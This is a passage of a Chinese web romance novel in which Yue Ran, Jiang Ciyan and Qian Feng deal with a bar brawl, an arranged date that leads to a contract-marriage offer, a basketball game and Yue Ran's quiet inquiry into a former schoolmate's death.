言语间听不出半点醉意,全是压迫感。
那人直咽口水,气势不在,嘴硬如初:“老子不会死,你死还差不多。”
场内喧闹声早已戛然而止。
一个穿黑色皮夹克的男人,眉头紧锁挤进来,看到江辞宴瞳孔一震,连忙弯腰道歉:“对不起江总,让您扫兴了!”
江辞宴挂脸没说话,岳然推开他,站在他身侧。
“老子最受不你们这种仗着有几个臭钱,就为所欲为的人,今天这事我不告他故意伤人,送他去警察局蹲几天,这事过不去。”
岳然也想送江辞宴去监狱,可不是以这种方式,江辞宴是为了保护她,才动怒伤人。
何况这人先骚扰的她。
男人看过来时,岳然撇嘴冷笑,漫不经心说:“那恐怕你也得进去呆几天,我可没有跟陌生人勾肩搭背,喝酒的习惯。”
那人往前走两步,被服务员拉住,不怀好意从上到下打量她一眼,大骂:“你以为穿上白裙,就能掩盖你那放荡的本性,装什么贞洁烈女,都不知道被多少人上过,你这种货色我见多了,我……”
“啪……”岳然一巴掌抽在他脸上,印上巴掌印,打完,手发麻生疼,甩了两下才缓解。
“造谣也是犯法的,”岳然扬起下巴,对着右上方的监控,“你报警我们也不怕,法律从来保护的都是受害者,而你,不算!”
“妈的,我才是受害者!你放你娘的屁!”
岳然冷笑,沉默不语。
江辞宴手机发完消息,垂眸瞧见岳然那发红的手,眉头紧锁。
岳然对上他目光,口不应心说:“不疼!”
江辞宴看她通红的手,下意识去拉,岳然一让,江辞宴手僵一下,直接拉过来握住,揉了两下:“你是不是物理没学好,不知道作用力与反作用力吗?”
“妈的,你们少在老子面前秀什么恩爱,恶心老子,老子又不是没有谈过恋爱,皮囊再好看,睡久了,也都一样,老子现在浑身都疼,老子要报警,要鉴伤。”
江辞宴手扬起来要打人,岳然眼疾手快握住,眼神示意他别动手了。
打人也脏手。
…
两个小时后,警察局做完笔录出来。
做笔录时,他们看了酒吧两人在吧台,卡座的监控。
监控里,江辞宴护住她那模样,真像一对情侣。
警察问他们是不是情侣,岳然抢先开口是的。
江辞宴噎得没说话。
刚到警察局,那天度假村遇到的秦颂带着律师过来。
带着那男人去医院做好检查,没什么问题。
江辞宴赔了点钱。
岳然也懒得追究责任。
两人打车回到酒吧停车场。
岳然后知后觉问:“你打算酒驾吗?”
江辞宴一愣,放开扶车门的手:“你别跟我说你不会开车!”
她是不会开车,以前胖自卑不想抛头露面,没去学车。
平常有事出门,也有司机车接车送,她没觉得会开车有什用,莫非江辞宴叫她过来就是为了给他开车,想得真美!
江辞宴叹一口气,掏出手机打电话给秦颂,叫人过来开车。
等了10分钟,秦颂小跑赶来。
同他们打招呼,看他们的眼神,依旧跟在警察局一样不明不白。
秦颂估计想太多了,她也不好解释,打开副驾驶门,还来不及坐进去,身后江辞宴说:“你坐后面我头有点晕。”
头晕关她啥事,又不是她叫他喝那么多酒,更稀奇的是,她看不出江辞宴醉了,除了说话语速慢点,一点醉态没有。
头晕坐前面后面有啥区别?
岳然不懂,也没掰扯,打开后座车门进去。
江辞宴关上前门,回到后座盯着她。
岳然一脸迷惑,扫他一眼,这神经病是不是又想坐后面?
“看什么,进去一点,不然我坐你怀里吗?”
岳然脸刷红透,原来他是这个意思。
他头晕关她屁事,还指
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望她在坐一起跟他按摩吗?
岳然不甘心坐上另一个座位,扭头看着窗外,没看他一眼。
车平稳行驶好几分钟。
江辞宴放下按住太阳穴的手说:“外面破路灯,有什么好看的,你真喜欢看夜景,改天我带你去登山,让你好好看一下。”
岳然脖子都僵了,回头瞪他一眼,窝一肚子火,她指望江辞宴酒后吐真言,江辞宴是一句没有,没好气问:“我看你现在心情好多了,还有力气登山,下次遇见记得绕着走,别跑了,又后悔,停车堵人,我可没工夫陪你借酒消愁。”
江辞宴无耻一笑,摆弄手表:“本来心情是好多了,你这样一说,我心情又不好了。”
“哼……”岳然懒得理他。
过了半晌,江辞宴,淡淡开口:“有时候我还挺羡慕你们这种普通家庭的人,可以自由恋爱,不像我们隔三差五还得应付相亲。”
难怪餐厅她说怕影响他跟哪个千金姻缘,会生气。
敢情是被家里安排去相亲,不高兴了。
装什么纯情,千金小姐真能看上他也是瞎眼。
他这种没有分寸感的男人,会那么照顾她,大概是以前给女人制造的温柔陷阱太多,成了一种习惯,让人产生这人挺会关心人,是暖男的错觉。
岳然顿时觉得被他牵过的手,都脏了,下意识摩蹉指尖。
“你手还疼?”江辞宴差点又拉住她的手腕,岳然连忙错开。
“不疼!用不着你关心。”
江辞宴嗤笑一声,侧身凝视着她:“没想到你看起来瘦瘦小小,打人力气倒是挺大,钱峰以后真跟你在一起我倒是有点担心他。”
她力气大是近一年减肥,练拳击,练出来的结果,钱峰她不可能会打,江辞宴她倒是想打死他。
岳然捏起拳头对准他胸口问:“你要不要试一下?”
“你打!”江辞宴笑着凑过去,让她拳头抵着胸口,“不过我觉得你应该不是我对手。”
岳然冷哼一声,双手抱胸,扭头望向窗外。
车里一时静得吓人。
秦颂大着胆子问:“老板回公寓吗?”
“嗯……”江辞宴再次提醒,“先送她去,星港花园。”
江辞宴记性还挺好,送一次,就记住她住哪里。
…
岳然安全送回家。
秦颂开车拐出小区,路上车辆拥堵,他放慢车速,多嘴问:“老板,江董安排的相亲你还去吗?”
江辞宴头又开始阵痛,连忙按住太阳穴,没有半点缓解效果,他不想去,可江誉华发话,如果他真打算这辈子独身一人,江家资产他别想要半分,更别说稳坐现在的位置。
秦颂没等到答案,干笑两声:“我随口一问,刚才我还真以为你跟岳小姐在一起了呢!”
江辞宴无奈一笑,岳然刚才警察来那紧张的模样,太过好笑。
她估计以为,不说他是男朋友,酒吧那男人能拿他怎么样。
那种货色,不过是想多要点钱罢了。
江辞宴直说:“钱峰喜欢她,爱屋及乌而已,我可没有夺朋友女人的习惯。”
秦颂但笑不语,也不知怎么的,不太相信。没见过老板对哪个女人这么上心,后视镜里,老板刚才跟岳小姐在一起,嘴都快笑裂了。
前不久,他朋友女朋友,还被朋友的朋友抢掉呢!
感情的事,谁说得准。
12. 第12章
江辞宴大早上相亲迟到半个小时。
地点是东城顶级日料餐厅。
服务员带他进去。
一个穿着水绿色长裙的女人,靠窗坐着,她托腮遥望窗外,浅棕色卷发刚好及腰。
阳光打在她身上,度上一层金光。
窗外天空湛蓝。
仿佛在看一副美女观景的油画。
江辞宴停下打量数秒,不是因为人美,景美。
而是这个侧影,太像岳然,只是岳然长卷发是黑色的,穿衣风格,更倾向于白色。
他迈出一步,女人回头正好看到他,冲他浅浅一笑。
江辞宴头皮一紧,一个念头冒出来,没有岳然好看,五官在妆容衬托下还算精致,岳然属于那种浓颜系长相,哪怕没有妆容点缀,也掩盖不了精致的五官。
第一次见面,岳然在暴雨中躺那么久,也有种破败美。
也不怪钱峰会对岳然一见倾心。
如果他注重女人外貌,估计也会对岳然动别的心思,活那么久,他更在意女人内在美。
而有内在美的女人,他至今没遇到过。
江辞宴收回思绪,过去落坐,毫不掩饰说:“我以为你走了,没想到,还挺有耐心。”
“好东西,迟一点得到没关系,好男人,也一样。”
江辞宴冷笑,垂眸瞥她一眼,拉开凳子。
叶佳抬手同他轻轻握了一下,“江总久仰大名,自我介绍一下,newone服饰创始人,叶佳。”
江辞宴目光一深,认真看她一眼,他根本不知道江誉华给他安排什么相亲对象,没想到会是叶氏集团的小公主。
叶氏集团靠服饰起家,当年做到数一数二的位置,后来因为电商兴起,一而再再而三亏损,被迫转型家电。
转型还算成功,可服饰是叶氏集团的心结。
后来小女儿叶佳回国3年,开创小众运动品牌——“newone”,只做线上,新品牌短短3年,市值飚到5亿。
对于小众赛道算是奇迹。
叶佳让死透家族的产业起死回生,说叶佳是商业天才也不为过。
叶氏掌权人,叶启东,对这个女儿,宠溺有加。叶家头上两个哥哥,不受待见,叶启东,颇有让权给叶佳的打算。
小道消息又说不可能,因为叶佳再厉害也是个女人,让权给她,相当于把整个叶氏产业拱手让人。
江辞宴不信这女人真为了过来相亲。
她那精明的目光,可没有半点对他的赏识,不耐烦倒是有那么一点。
江辞宴修长的指节在桌上敲了几下,抬眸问:“你不是过来相亲的吧?”
“江总好眼力。”叶佳嘴唇微勾,把服务员端过来的海胆放在他面前。
江辞宴制止:“我不喜欢吃这东西!”
准确来说是他不喜欢吃日料,味道太过寡淡。
“江总喜欢吃什么,随便点,我请客。”叶佳把东西端到自己面前,拿起勺子小口品尝。
江辞宴什么都没点,叫她有事说事。
叶佳直言不讳:“结婚有兴趣合作一下吗?”
她倒是坦诚,江辞宴冷笑,反问:“为什么选我?”
“因为据我了解你多情,不纠缠人。”
…
他是没纠缠过哪个女人,可没那么多情,她调查有误。
江辞宴出了餐厅,头还在嗡嗡作响。
怎么会有女人能把婚姻看的这般儿戏!
什么婚姻里,互不干涉私生活,也不用有实质夫妻生活。
两人合作,拿到属于自己的东西,最后挑个合适时机离婚……
这女人是怎么盯上他的?
江辞宴气笑。
回到车上躺着,把手里硌手的名片塞到扶手箱,闭目养神。
离开前叶佳无比确信地说,你会用到的,考虑清楚联系我。
那一刻他的自尊心被碾压在地上,很不舒服。
可这样的婚姻太诱人。
对他来说,或许会让他少走许多弯路。
…
天气晴朗,正午时分。
江辞宴有些许烦躁,扯开领带,眼神逗留车窗外半晌,拿起手机,拨通钱峰电话:“在哪?”
钱峰瞧身旁岳然一眼,含糊回:“在车上!”
“屁话!”江辞宴不留情面,追问,“去哪里?”
“体育馆。”
“位置发来。”江辞宴掐断电话,扶手箱打开,扯出躺在缝隙的名片,丢出窗外。
他还没落魄到,需要一个女人过来可怜他。
大不了鱼死网破。
钱峰肯定不是一个人。
他太烦了,不然也不想去打扰他们。
…
岳然没多少运动细胞。
可以说运动基因都是遇见江辞宴以后才被激活。
篮球比赛小半场下来,她已经累到窒息。
红队带着她这个拖油瓶,一路黑到底。
红队8:蓝队40。
都是3男2女对决。
球传给她时,她在篮筐底下都投不进去。
钱峰安慰她,重在参与。
岳然不想参与了,再参与输球是小,她怕跑断气。
钱峰休息时间刚到,又要拉着她上场,她急忙找个垫背的旁观者上场,指着旁边小姐姐。
小姐姐眼睛一亮,半推半就上场。
岳然知道实际小姐姐开心极了,比赛的时候她全程目睹他们惨败,一脸惋惜。
上去几分钟,小姐姐替红队扳回几分。
蓝队见势头不妙,严防死守。
双方这么拼命,主要是因为队长提议谁输晚上谁请客。
岳然真想叫停比赛,说她请客。
在蓝队努力下,又一个3分球进框。
一个女人投的篮。
场上惊呼声,叹息声,回荡。
开心的开心,失落的失落。
岳然事不关己地收回视线,依靠在长椅上,摊开掌心,手掌发黑,心思却不在手掌上。
她没从钱峰那边打探出什么有用的信息。
她在车上试探性问钱峰:“一年前我们学校有个师姐,在你们公司坠楼,你知道为什么吗?”
钱峰一愣回:“不知道,公司没出相关公告,我当时在外地,都不知道有这件事。”
那闪躲的眼神,明显撒谎。
岳然没再追问,别人刻意隐瞒,问多了,只会让人生疑。
钱峰追问:“怎么这么问?”
她笑着说:“随口一问,当时学校流言四起,还以为你知道实情。”
钱峰迟疑片刻,冷不丁说:“那可能是意外吧,不然那么大的事情,也不会这样悄无声息过去。”
岳然一点不信,如果只是意外,不可能有那么多人闭口不提,不过是权利和金钱堵住了嘴。
岳然长叹一口气,不知道以后该怎么办了!
…
“怕脏还打什么球!”
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江辞宴从入口转进来,一眼看到坐在长椅上,盯着黑手发呆的岳然。
岳然握起拳头,扫了江辞宴一眼。他一身剪裁有度的西服,黑色皮鞋,整洁利落。与球场上的任何一个人都显得格格不入,像是来视察的大领导。
岳然脑子里冒出两个字——“装货!”
她别开脸,懒得搭理他。
江辞宴在她身旁坐下,凑过去盯着岳然看。
岳然被迫回头瞪人。
江辞宴无耻一笑,扫了一眼比分:“那么差的成绩,有你的功劳吧?”
“你……”
“我说对了?!”江辞宴挑眉,一脸得意。
岳然嘴一抽,拳头挥过江辞宴胸口,没落下,心思一转,松开拳头,一巴掌按在他手臂上。
江辞宴弹起。
岳然双手拽住他西装袖口,在袖子上,搓了又搓。
江辞宴放弃挣扎。
岳然看他袖子上的污渍,满意放开。
“我随口一说,你报复心,倒是挺强。”
岳然抬起双手,巴掌朝他腰上按过去,江辞宴退了两步让开了。
“看你就来气。”岳然冷哼一声,坐回椅子上。
江辞宴拍掉袖子上的灰,坐在岳然旁边:“你知不知道我这身衣服多少钱,要不是咱俩认识,我不跟你计较,把你卖了都不见得能买得起。”
岳然冷眼望向他,不紧不慢说:“你信不信我给你衣服裁两个洞。”
“不信!”江辞宴笑着,凑过来,“我看你怎么裁?”
岳然正欲抓住他衣领,瞥见朝他们跑过来的钱峰,坐回原位。
江辞宴得逞一笑:“心疼钱了吧?”
岳然咬牙切齿,压低声线说:“有钱人见多了,你这样不要脸的不常见。”
“你觉得我不要脸,是你有眼无珠,我……”
“你们什么时候关系那么好了?”钱峰停在他们中间站着,望向他们,眼睛里带着笑意,也不全是笑意。
江辞宴往边上坐过去,随口回:“从知道你喜欢她的时候开始。”
钱峰一个大男人,脸瞬间红透。
岳然无语,哪怕她一直跟钱峰聊天,可从来没有发什么暧昧的信息。
江辞宴倒是不止一次说过钱峰喜欢她。
可她的目的,只是得到洛璃受害的证据,不是拉钱峰下水,或者投入钱峰怀抱。
当初想诱惑江辞宴,也是下下策,因为江辞宴除了好色,没有别的缺点。
钱峰嘴太严,她中午那么直白的问,钱峰也没透露半点信息。
岳然现在一头雾水,不知道接下来的路怎么走。
谈恋爱,绝无可能。
岳然也不想这时候跟钱峰划清界限。
钱峰一脸期待。
她目光转向旁边江辞宴:“江总,果然爱开玩笑!”
江辞宴一愣,眉头锁起,欲言又止。
岳然略显局促抬头望向钱峰。
钱峰锁着她的眼睛,缓缓开口:“如果不是玩笑,你愿意吗?”
岳然脑子瞬间当机,果然利用感情的人,都没有好下场。
周围半点声音也没有,仿佛周围的一切都在等她答案。
没有回避机会,岳然支支吾吾道:“我刚毕业,工作不…不稳定,收入不稳定…不想谈恋爱。”
钱峰咬着唇,眼底那丝期待彻底消失殆尽。
江辞宴搭话:“你过公司来上班,工作的事情我给你解决。”
13. 第13章
明眼人都知道这是借口。
江辞宴眼盲心瞎,有毛病。
钱峰说喜欢她,她就得成全他们的期待,跟钱峰在一起?
什么道理!
钱峰要是喜欢上当红明星,江辞宴是不是也得牵线搭桥。
岳然气昏头,一口回绝江辞宴,说家教合约没到期去不了江氏集团工作。
她甚至都忘了,如果进入江家工作,要拿到洛璃死亡的证据,比靠近他们简单太多。
钱峰笑回,开个玩笑,问她喜欢什么样的男人。
她说不知道,只是她喜欢一个人可能需要花点时间去了解,短时间无法判断喜不喜欢。
江辞宴在一旁咂嘴。
钱峰眉眼倒是舒展开来,说她是对待感情认真的人。
下半场江辞宴不知从哪里找了套运动装换上。
比分追回不少,最终一分之差,落后蓝队。
江辞宴做东,一起吃了晚饭。
钱峰喊来的朋友跟他住一个小区,钱峰负责送人。
她跟江辞宴坐一辆车,请了代驾。
江辞宴自从她白天拒绝钱峰以后,没跟她说过一句话。
钱峰提议要送她的时候,江辞宴告诉钱峰,她住他家附近,他送就行。
岳然不知道江辞宴葫芦里卖的什么药。
代驾在路上。
两人在夜色里站着,相顾无言,特别憋屈。对面广告牌都要被岳然看穿了。
代驾还没过来。
她按下开关机键,手机一亮,扫了一眼屏幕右上角时间——“9:15”
才过了10分钟。
仿佛已经过一个世纪。
一阵风吹过来,岳然哆嗦几下,抱起手。
她不明白,为什么江辞宴不去车里等人,非要在马路边上吹冷风。
再等3分钟,3分钟一过,她找借口溜。
江辞宴余光瞟向岳然,她穿着齐膝黑色腿袜,三分卡其色运动短裤,黑色T桖扎腰里,齐腰长发扎成马尾。
这一身装扮除了好看,没有半点作用,只要风度不要温度,活该。
他收回视线,目不斜视,站在原地没动。
又一阵风刮过来时,江辞宴咬牙,脱下外套丢过去。
岳然慌乱接住,瞟了一下手机右上角时间,递给江辞宴:“不用了,我想起来家里有点事,我今天不回那边,跟你不顺路,我先打车走了。”
江辞宴没接外套,紧紧抿着嘴,淡漠的眼神锁着她的脸,沉声问:“为什么不答应钱峰?”
岳然微愣,嗤笑一声,眼底温度瞬间达到冰点:“为什么要答应?因为他看上我,还是因为你看好我们?”
江辞宴僵住,眉头锁着,也不说话。
“我最讨厌你这种势在必得的样子,你以为凭你开几趟车送我,我就得接受你的安排,我爸妈都没你热心,你以为你是谁?!”岳然把衣服甩在他怀里,不看江辞宴,叫停迎面驶来的计程车,上车离开。
江辞宴拿起怀里外套,甩在车顶,轿车报警仪直响。
心跟车辆报警仪一样乱。
他不知为什么,白天钱峰过来问他们,关系怎么变得那么好时,会莫名心虚。
岳然最后说需要长时间了解一个人时,才能做决定。
他火气更大。
好比一个男人追求一个女人,那女人明明不喜欢那男人,没直接拒绝,给了点甜头,说需要继续努力。
看似两人有无限可能,实则是吊着别人胃口,玩弄人心罢了。
如果岳然不喜欢钱峰,那她缠着钱峰做什么。
谋一份好工作?
有一张长期饭票?
她父母都是老师,不是多贫苦家庭出来的女人,贫苦家庭可没那么多钱,让孩子去学艺术。
“老板是你叫的代驾吗?”代驾小哥,扫了一眼,身旁的劳斯莱斯问。
“嗯。”江辞宴不耐烦回。
代驾小哥看向江辞宴,面带笑容,小声说:“这么好的车,我没开过,我不太敢开,我怕我手笨,出什么问题,我赔不起,要不麻烦你取消一下订单,另外叫人?”
“没开过你接什么单,滚!”江辞宴打开后座车门,坐进去,摔上车门。
他没有忙着叫代驾。
压制不住胸口那股火。
火因何而起也理不明白。
是餐厅那场无厘头的相亲。
还是体育馆岳然无厘头的回答。
或是刚刚,岳然脱口而出的屁话。
……
车上静坐许久,江辞宴烦乱依旧。
电话亮起来。
有一条消息。
【老板,麻烦你取消一下订单,不然这边系统不会给我派单,我不知道你车那么好,你没写车型号,不然我也不会浪费你时间,打扰了!】
江辞宴放开捏住眉心的手,点开app,取消订单,点开主页给那人打赏1000过去,退出系统。
拨通秦颂电话。
秦颂不到20分钟赶到。
一眼便看到黑色劳斯莱斯上躺着的黑色西服。
树影刚好落在上面,乍一看还以为躺了个人,怪渗人!
从衣服能判断出,老板心情不好,不对非常不好。
秦颂拿下西服,敲响车窗。
“别烦我,回家!”
心情果然不好。
秦颂一路大气不敢出,生怕说错那句话,还算体面的工作,明天离他而去。
江辞宴没有情绪出口。
钱峰现在正处于被爱情冲昏头脑的阶段。
秦颂是唯一的可以倾诉的对象,不过如果说的话,秦颂会不会笑话他。
秦颂没胆子笑话,江辞宴笃定。
车开到半路。
江辞宴把今天发生的事情告诉秦颂。
秦颂沉吟半晌,谨小慎微开口:“老板我觉得岳小姐没什么问题,别的我不太敢说。”
江辞宴眉头紧皱,抬手捏着眉心,不耐烦问:“为什么她没问题,你不觉得她这是在玩弄别人感情?”
秦颂抿紧嘴,瞄了一眼后视镜,小声回:“岳小姐跟钱峰总共没见过几面,想要多了解很正常。”
是没见过几面,可那又怎样,她要拒绝直接拒绝,不拒绝答应。
难不成还指望,钱峰追她1年2年。
江辞宴说出心里话:“她不同意,不拒绝,不就是,为了吊——钱峰!”
秦颂失笑,没把住嘴:“老板,恕我直言,如果上次度假村没见过岳小姐,我都以为你才是她男朋友。”<
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p>江辞宴吞回到嘴边的话,嘴抿成一条直线,脸黑如锅底。
秦颂意识到说错话,大脑神经一崩,拼命找补:“我知道你是为了他们好,可钱峰跟岳小姐都是很优秀的人,谨慎一点很正常。要是他们都是很随便的人,恐怕孩子都上幼儿园了。”
江辞宴冷声提醒:“刚才告诉过你,她刚毕业。”
秦颂暗自松一口气,干笑两声回:“那就更说得通了,你看岳小姐那么美,她上得又是艺术学院,在学校的时候,什么帅哥没见过,要是随便一点,恐怕早就不是单身,说明岳小姐是个洁身自好,更在意别人内在美的人。”
岳然在不在意别人内在美,江辞宴不知道,第一次见他,倒是拉着抱着他的手不放,还说什么——“真是你!”
估计刚失恋,处于昏迷状态,头脑不清醒,认错人。
江辞宴没好气问秦颂:“你的意思是我多管闲事?”
“不敢……不是……”秦颂差点吓得,放开在方向盘上的双手,摆手,“我的意思是,感情是两个人的事,别人插不了手,不然你好意帮忙,还落下不好的名声。”
是没什么好名声,现在里外不是人。
江辞宴心里依旧不太爽快,随口说:“旁人叫帮忙,我还不帮忙呢,只不过我觉得岳然还行,钱峰又是好朋友,顺手帮个小忙。”
“老板,我知道你的意思,那也不是想帮忙能帮上忙的,你看你真想帮忙,我也单身,我喜欢刘.亦菲,你能帮上忙吗?”
江辞宴气笑,也不知道谁给秦颂胆子说出这些鬼话。他是在说岳然长得好看,还是在讽刺他多管闲事。
第一岳然跟刘.亦菲不搭边,钱峰配她绰绰有余。
第二他真能跟刘.亦菲联系方式弄来,秦颂也是癞蛤蟆想吃天鹅肉,想太多。
“我还不知道…你看女人时,眼睛放在头顶!”江辞宴瞥了一眼秦颂。
“老板你肯定觉得我是在做梦!”秦颂说,“我确实也是做梦,我的意思是,你别管岳小姐跟钱峰,如果有缘,总有一天他们会在一起的,没缘分的话,分开也正常,谁知道以后会怎么样!”
谁知道以后会怎样!
江辞宴临睡前还在想这个问题。
他潜意识里,总是觉得钱峰优秀,他年薪上百万,有车有房,孝顺,长得好,父母是重点单位退休人员。在国内家庭里,算是佼佼者,没几个女人能配得上钱峰。
现在的岳然,能配得上钱峰的只有那张脸。
可谁知道以后会怎么样。
岳然才23岁,钱峰跟他同岁27岁。
23岁的艺术专业人员,4年的时间,发展的好,可能功成名就,能在电视上看到,这种概率小到,可以忽略不计。
发展差一点,当个钢琴老师,每个月也能挣个几万块。
岳然说不敢在他面前献丑,能被江家别墅区那边业主看中的技艺,绝对不是俗物。
江辞宴一下觉得,她骨子的那点小傲娇,也可以说得通。
是他太肤浅,还以为岳然在吊人胃口。
这次他听秦颂的话,放任他们相处几个月,看他们能不能真走到一起。
江辞宴闭上眼睛,拉起被子盖住肩膀,心里依旧不是滋味。
都怪岳然那女人,说话冲得要命!
14. 第14章
岳然回星港花园路上。
母亲一个电话把她叫回家。
今天是周六,培训学校最忙的日子。
她忘带别墅大门钥匙,阿姨给开的门。
进客厅,父母并排坐在深灰色真沙发上,角落里,琉璃水晶灯下是那架被她遗忘的黑色钢琴。
见她进门,二老从沙发站起来。
林意琴问:“宝宝,你要不要吃点东西?”
岳然无奈一笑,在母亲眼里她是一个永远吃不饱饭的宝贝。
要不怎么说当初胖成那样跟父母脱不了关系,自她有记忆开始,从来没有被饿过。
上学的时候,午休在学校吃饭,他们都怕自己饿到,会带饭过来给她加餐。
那时候家里条件没现在好,父母却也从未亏待过她,她是独生女,家里亲戚没有一个不宠溺她。
“妈妈,你们叫我回来做什么?”岳然过沙发坐着。
林意琴在岳然旁边坐下,捏着她的手摩蹉:“你这话说的,那没事还不能找你了?”
岳然嘟嘴,靠在母亲肩膀,看了一眼老爸,压低声音说:“我这不是怕你们周末太忙,还要忙着照顾我,不好么!”
林意琴理了理岳然头发,凑在她衣服上闻了闻,瞪大眼睛:“宝宝你喝酒了吗?”
岳然连忙摇头,本来她也没喝酒,估计是江辞宴那个蠢货,衣服上有酒味,抱着他衣服的时候,沾了一点酒气在她衣服上。
林意琴一脸怀疑盯着女儿。
“估计是刚才路上遇到个酒鬼,带过来的酒气。”岳然张嘴往母亲那边哈气,“不信你闻!”
林意琴偏头一让,被女儿逗笑:“好了,好了,信你!”突然她想到一个问题,继续说:“宝宝你在外面可要离那些喝酒的男人远点,不安全太危险了。”
“好的妈妈!”岳然点头,抱着母亲手臂撒娇,“我困了,没事我要睡了。”
林意琴看着女儿欲言又止。
岳然心倒微微提起来,莫非发生了什么大事?
父亲岳自成开口:“也不是什么大事,国外那个国际交响乐团又联系我们,你妈犹豫要不要参加演出。”
要是还是像上次一样,真是有点得不偿失。岳然问:“那边说什么?”
林意琴回:“说是要在国内举办演出,先从几个一线城市选址,可以让你做主场,可估计要露脸,宝宝你愿意吗?”
这不是愿不愿意的问题,她在国内知名度还可以,可人设是神秘主义天才钢琴家,当初说好听点不露脸是为了让热爱音乐的粉丝更专注作品。
实则是她胖了见不得人。
保持神秘,不露脸也挺好,至少出入各大场所,没有狗仔追着拍。
这是最近两天她才得出来的结论,前段时间她觉得无关痛痒。
没想到老天突然就给她丢这个难题,岳然扫了一眼父母,问:“不漏脸不行吗?我觉得哪怕举办演出,不露脸也不会影响门票售卖。”
“等我问一下那边的人!”
岳然提醒母亲:“妈妈,你跟他们说,我一直都是以保持神秘的人设演出,如果露脸的话,估计那边还以为换了人,不买单。”
林意琴点头。
岳然回了房间。
走上旋转楼梯,她想到一个问题回头问:“什么时候?我怕没时间准备。”
林意琴:“估计得好几个月以后。”
岳然听到答案放了心,时间够了。
如果几个月都拿不到洛璃惨死的证据,那她就太失败了。
岳然不敢耽搁时间,钱峰约她出去,哪怕给家教那边请假她都跟钱峰出去。
两个星期的时间。
她没看到江辞宴。
跟钱峰距离也拉进不少,钱峰告诉她,她进不了江氏集团工作,是因为当初洛璃出事,江氏集团系统自动刷掉东城艺术学院的简历。
两个星期的相处,钱峰也没那么忌惮她,她也算是看到一点曙光。
东城最高的CBD,顶楼办公室,一个略显落寞的身影,百无聊赖倚在座椅上玩着手里铂金钢笔。
钢笔价值不菲,江辞宴没有半点爱惜,丢了又捡回来,来回折腾。
今天周五,一周里,江辞宴最讨厌的一天。
钱峰没敲门,推门而入,嘴角不觉得上扬,江辞宴目光投过来时,钱峰微微收了收嘴角,怕遭人嫉妒。
江辞宴瞟了一眼他手里资料,钢笔丢在桌上没捡回来,倚在靠背上,仰视钱峰,漫不经心说:“中彩票了?那么高兴。”
钱峰把资料放桌子上,勾起唇说:“替你高兴,项目谈下来了,今天还不用去参加家庭聚会。”
江辞宴冷嗤一声,撇嘴望向窗外蓝天,这周他是不用去参加那周五的破家庭聚会。那群人抛下他去三亚度假了,留他一个人为公司当牛做马。
这不是他火大的根本原因,他本来也不想去。
这段时间他就是有股无名火,看谁都来气,看到钱峰那比AK还难压的嘴角,那股火又往上涨不少。
“我看你这段时间心情不做,红光满面!”江辞宴语气有些阴阳怪气。
钱峰不想张扬,抿嘴点头回:“是不错,毕竟公司拿下好几个案子。”
“就那些小案子,有什么值得开心的,莫非你以为凭江家实力,他们还有更好的合作选择?”江辞宴坐起来,拿着笔轻敲桌子,抬眸盯着钱峰,不错过他脸上半分表情。
钱峰尴尬一笑:“是喔,我都忘了江家实力。”
江辞宴撇嘴,笔丢一边,站起来:“我看你是因为感情的事情开心吧,是不是跟岳然发展的还不错?”
钱峰努嘴,点头,坦然回:“是还不错!”
江辞宴心瞬间被人揪了一下,挤出个笑容问:“确定关系了?”
钱峰脸上笑意消失,没好气道:“你以为谁谈恋爱都跟你一样,巴不得第一次见面,两人就滚到床上。”
江辞宴笑起来:“我没谈过恋爱你又不是不知道,连你也要造谣我。”
“没谈恋爱你就安分点,少插手多管闲事。”钱峰小声嘀咕,“上次差点被你搞黄了。”
江辞宴后面那句也听到了,他搂住钱峰,低声说:“这周要不要去度假村玩?好久没去了。”
钱峰侧身挣脱江辞宴的手,果断拒绝:“没空!”
江辞宴提高嗓音问:“你谈个恋爱眼里就放不下朋友了吗?如果将来让你在岳然和我之间选一个你选谁?”<
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钱峰没回,深深看他一眼,出了办公室。
江辞宴无可奈何,站在落地窗边,俯瞰这万丈高楼,连连叹气。
真被秦颂说中了,放他们自己去谈,会更好。
可是他为什么高兴不起来呢。
大概是因为钱峰这两个星期,除了上班时间,注意力全放在岳然那女人身上了。
刚谈恋爱就这样,谁知道以后会不会因为感情耽搁工作。
早知道当初就该拦着不让他们见面,钱峰要谈恋爱,谈个公司的女同事,或者更熟一点的女人,有什么问题他还可以去跟女方说一下。
岳然的话,估计他还没开口问,那女人都会不耐烦把他骂个狗血淋头,说他闲着没事多管闲事。
谁见了他不给他三分薄面,唯独岳然…从未给过。
江辞宴敛住思绪,不能想岳然,想到那女人会心堵。
钱峰不去度假村,他自己去,莫非没有钱峰他还活不下去了!
江辞宴下班没回复式公寓。
直接开车去度假村。
车停在度假村公共停车场。
“江总……早啊!”民宿老板站在停车场出口招手。
江辞宴甩上车门,面无表情瞥过去,正脸都没给,莫名烦躁。
王老板笑盈盈靠近,“江总一个人过来吗?怎么没带女朋友?”
江辞宴那股无名火,瞬间被点燃,“关你屁事!”
王老板一时面色如土,大气不敢出,愣在原地。
江辞宴绕过他,火气半分不减,他哪里来的女朋友?!
莫名其妙!
早知道不来度假村了,晦气!
没走两步,目光从远方排球场扫过,顿住脚步,他说的女朋友是岳然?
可笑!
王老板已经追上来,瞄了一眼他,卑微解释:“江总我哪里说的不对,你大人大量别跟我计较。”
江辞宴火气降下来,没好气说:“我身边有个女人奇怪吗?”
“不是……”王老板频频摇头,“我……”
“还是你觉得,谁都能当我女朋友?”江辞宴不依不饶。
王老板彻底破防了,慌乱解释:“对不起江总,我经常见你跟岳小姐在一起,我以为你们是女朋友。”
什么经常,不就上次……
江辞宴无语,王老板此刻脸上那表情,跟他说的话一样迷惑,仿佛在说,是吗!你们不是男女朋友关系,我不信。
他没功夫去同这些无关紧要的人,解释说太多。
进到常住的房间,看到里面一事既往的布置,心里依旧有些不是滋味。
明明布置一样,可他还是觉得不一样,仿佛能看到床上躺着,被子盖住眼睛的岳然。
她羞答答的在那里说,要穿内衣,喊他出去。
江辞宴退了半步。
王老板小心谨慎问:“江总哪里不满意告诉我?”
江辞宴看了看隔壁房间,视线转到对面民宿,“不住这里了,对面给我选一间采光好的,窗帘换掉。”
王老板双唇微启,连连点头。
江辞宴又开始心烦了,以为来度假村,心情能好一些,没想到,没了钱峰,还是有人气他。